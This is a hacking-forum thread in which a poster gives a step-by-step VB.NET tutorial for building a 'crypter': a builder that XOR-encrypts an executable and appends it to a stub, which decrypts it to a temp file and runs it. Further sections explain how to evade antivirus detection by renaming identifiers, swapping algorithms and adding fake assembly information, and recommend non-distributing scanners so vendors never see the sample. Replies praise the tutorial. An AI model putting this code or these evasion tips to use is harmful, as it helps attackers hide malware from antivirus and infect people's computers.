[Yorkiebar15]

Welcome HF, to my tutorial thread on how to create an Undetectable (UD) crypter, with extension on how to make it Fully Undetectable (FUD).

You will need;
Visual Studio - I'm using Ultimate 2013
Ten minutes for the basic UD crypter.
Ability to think out of the box for FUD purposes.

Basic Crypter;
So there are two parts to every crypter, the builder (which I'm just calling the 'crypter') and the stub.

Before we start, we want to create three string variables to hold the paths for the original file to be crypted, the stub, and the save path for the crypted file later...



The crypter/builder is first going to take two file paths from the user through simple OpenFileDialog boxes, the first one will point to the file to crypt, and the second will point to the stub to use in the crypted file...



Then the user will input a save path for the crypted file...

Code

Using fo As New SaveFileDialog()
    fo.RestoreDirectory = True
    fo.filter = "Executable *.exe|*.exe"
    If Not fo.FileName = Nothing Then saveFile = fo.FileName
End Using

Next the crypter will run a private function which is going to crypt our original file, call this 'starter'...





In our new 'starter' function, we are first going to read the bytes of our original, uncrypted file...

Code

Private Function starter()
    Dim originalFileContents As String = Nothing
    Dim stub As String = Nothing
    Dim originalBytes() As Byte = My.Computer.FileSystem.ReadAllBytes(originalFile)
End Function

These bytes are now stored in to an array named 'originalBytes', we'll then use 'Encoding.Default.GetString' to convert those bytes in to a string named 'originalFileContents'...



We'll then do the same thing with our stub file...



Ok. So now we simply need to build our file. First we write the stub contents (string) of the binary (.exe) file, then we write a special 'FileSplit' string (in my case, it's '@splitter@') and finally we write the original file contents...

Code

My.Computer.FileSystem.WriteAllBytes(saveFile, System.Text.Encoding.Default.GetBytes(originalStubContents & "@splitter@" & originalFileContents), False)

Done.

Basic Stub;
For the stub, keep the following in mind;
When it is ran, after being crypter, it will contain the content we are about to write, plus a file splitting string, plus the original file contents. So...

First we want to get the current executable path (of the stub itself)...

Code

Dim myPath As String = Application.ExecutablePath

Then we read all the bytes of the current file in to a new byte array...



Next we convert that byte array in to a string...



Here we have the current file contents. Now, we know that it consists of; original file source code, splitting string, stub source code. So we want to create a string array and set it equal to the splitting of our current file, by the splitting string. NOTE: The splitting string that you put here, must be the same as in the crypter/builder!

Code

Dim mySplits As String() = Split(myStrings, "@splitter@")

Now the indexes should be;
0 - Stub
1 - Original File

So now we could, as an additional step for easier recognision for furture development, create a separate string variable for our original file contents (index 1 of our new 'mySplits' string array via the 'Split' function)...



So next we want to simply write out our original file, and execute it...

Code

My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", Encoding.Default.GetBytes(originalContents), False)
Process.Start(System.IO.Path.GetTempPath & "temp1928.exe")

Testing;
Now we want to test our code; build both the solutions, and run the builder/crypter's .exe - select the file to crypt in the first OpenFileDialog box, the stub in the second, and any save path (.exe) in the third box. If you receive a .exe in your save path which has more than 0-5KB, run it and see if it works. If it doesn't work, it says it's corrupted, or it has nothing written inside of it, you may need to perform debugging (output certain variables, double check the file splitter is correct for both solutions, and make sure you selected the files within the dialog boxes in the correct order).

Notice;
If you have tested it, and it is working, you may notice that if you scan your crypted file now, it still has the same amount, if not more, detections as your original file. That is because we haven't yet added any form of cryptography to it. I just wanted to throw the basics at your first, so you can double check that it is working before you get in to the slightly more complicated stuff.

Also, you may need to add the following imports for either/both of the solutions;
System.Text
System.IO
System.Windows.Forms

...To add System.Windows.Forms, you may also need add a reference to 'System.Windows.Forms' by right clicking on your project in the 'Solution Explorer' and selecting 'Add...' > 'Reference'.

Builer;
So to add cryptography algorithms to our crypter, it's fairly simple. We keep all the code we have just written, and simply encrypt the original file source code before writing the save path file from the builder, and we decrypt the original file's source code in the stub before we generate the temporary file to be ran. Simples!

I will be using XOR for this example, you can use any other algorithms you can find, I may provide a link at the bottom of this post.

First add your algorithm to both of your solution files, the builder, and the stub...

Code

Public Function XOR(ByVal CodeKey As String, ByVal DataIn As String) As String
    Dim lonDataPtr As Long
    Dim strDataOut As String
    Dim intXOrValue1 As Integer
    Dim intXOrValue2 As Integer
    For lonDataPtr = 1 To (Len(DataIn) / 2)
        intXOrValue1 = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
        intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
        strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
    Next lonDataPtr
    Return strDataOut
End Function

Then in the builder, encrypt the original file source code before you create/write the new, crypted, .exe binary file...

Code

My.Computer.FileSystem.WriteAllBytes(saveFile, System.Text.Encoding.Default.GetBytes(originalStubContents & "@splitter@" & XOR("passphrase", originalFileContents)), False)

And in the stub, decrypt the original file source code before you create/write the temporary, unencrypted .exe binary file...

Code

My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", Encoding.Default.GetBytes(XOR("passphrase", originalContents)), false)

Done!

FUD;
To make your crypter more FUD, or at least, more UD, you must be able to thing outside of the box. Anti Virus programs detect crypters and crypted files by looking for patterns within the source code and other methods (at least, this is the basic understanding of how it all works). So if the same crypters all use the exact same line of;



and that's what the AV's are all looking for, it is a highly likely chance that all the crypters will get detected. So here are some methods;

Work Arounds;
Try to use different work arounds, bypasses, and methods for almost all of your crypter functionality, this goes for the stub too. If, like above, you have the exact same code as I have just given you from my 2/35 detected crypter, all the AV's will start detecting that code much, much quicker than they would if just I had that code (although other people almost definitely already have similarities already). So, as an example, maybe you could change;

Code

My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", originalContents, False)

to;

Code

My.Computer.FileSystem.WriteAllBytes(externallyCreatedPathVariable, differentContentsVariable, OtherBooleanEquallingFalse)

Algorithms;
Some algorithms (such as 'XOR') are more detected than other algorithms. Maybe try changing your algorithm a few times and see what works best for you with different AV's. Some others to research are; Blowfish, RC4, and 3DES.

Strings;

As stated before, AV's use source code to recognise malicious files, so why not alter your code from other peoples source code by encrypting/changing your variable and function names, this means the AV's won't be able to as easily detect that your files are similar to other malicious files. For example, you could change;



to;



Please note; you must change all of the occurrences of the currently being replaced word. So, I've replaced the function name, and both parameter names as variables, so I must change the function name itself (and other calls) from 'XOR' to 'RW5jcnlwdA' - same goes for everything else.

Assembly Information;
The final piece of FUD advice I will give to you is, to add assembly information. Some AV's use this information as verification of binary files, so ensure that your application has assembly;

Titles,
Descriptions,
File Versions,
Icons,
etc.

Scanning;
When you think you've finished, and you're ready to scan your crypted file(s), do NOT use;
Your own AV
VirusTotal

Why? Because scanning it on your own AV will make your AV on other people PC's, as well as your own, detect your currently* crypted stub much faster. And VirusTotal distribute the scan results to ALL the Anti Virus programs listed, therefore making them all detect your stub eventually.

You should use non-distributing scanners, such as;
FuckingScan.Me
Scan.Majyx.Com
RazorScanner.Com

That's all!

Updates;
Open/Save FileDialog filters added ~ TheBarret
Fixed minor variable name mismatch ~ Folding

Warning;
Some people have been having problems with their crypter hanging/crashing/freezing. Follow the below steps if you are having similar problems;
Remove the XOR encryption algorithm from both the crypter and the stub. Test again. If it works, use another algorithm such as 'RC4'.
Without an encryption algorithm, the encrypted file should be the size of the original file + the stub size. If it is too high or too low, you are not reading/writing the data properly.

Conclusion;
If you liked this tutorial, and would like me to post more, please leave a reply to keep this thread active. If you are the owner of a compilation thread and would like add this to your list, feel free to add it and please PM me so I can see the list,
Thanks!

[zeroexp]

This is surprisingly not copied from somewhere else :D Good job mate. I'll look at this later.

[SIM-1725686]

This is literally the same method I use in C# when I was write a crypter.

I like your detailed explanation, good job.

[Cesar Morales]

Excellent job :) - I think this will definitely help out a lot of people. Thanks for helping the community.

+3 to you <3

[h4xer]

excellent job mate ;) will take a loot at this later.

[TheBarret]

Little addition of the OpenFileDialog & SavefileDialog classes,

Perhaps you didnt know, but they accept filters for file types,

Example:

Code

dialog.filter = "Executable *.exe|*.exe|Dynamic Link Library *.dll|*.dll"

And so .... so you can add that as well ^^

[kopuz]

That's excellent dude, thanks for your time writing this up the information is very useful.

[IAmNotHere]

Great tutorial!

Does temp1928 mean something to you?

[Huskar]

Great tutorial !
Very detailed !

-wutang

[Yorkiebar15]

Great tutorial!

Does temp1928 mean something to you?

Thanks for the feedback. 'Temp1928' doesn't mean anything to me, just used it as there are probably not many other programs out there that would use that name, feel free to use any name you like.

---

Little addition of the OpenFileDialog & SavefileDialog classes,

Perhaps you didnt know, but they accept filters for file types,

Example:

Code

dialog.filter = "Executable *.exe|*.exe|Dynamic Link Library *.dll|*.dll"

And so .... so you can add that as well ^^

Good point. I have used Filters before, just didn't think to add them for this project. Added to post, thanks for the feedback :)

---

Excellent job :) - I think this will definitely help out a lot of people. Thanks for helping the community.

+3 to you <3

Thanks for feedback & rep. <3 to you too :)

[Scramble]

Amazing tutorial! Huge fucking vouch for you Yorkie <3

[ᶠᶸᶜᵏᵧₒᵤ]

Tutorial looks well written, but I recommend taking pictures of the actual code and posting that image so it's not just able to be copied.

[Yorkiebar15]

Tutorial looks well written, but I recommend taking pictures of the actual code and posting that image so it's not just able to be copied.

I was debating doing that. Think I will add it when I have time. Thanks for the feedback.

[Folding]

I needed a bit of help and within 10 minutes he got back to me and everything is up and working again. Appreciate everything man.

[Malcolm˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞˞]

This thread surprised me, expecting c+p but got originality.

GJ OP
+1 rep :)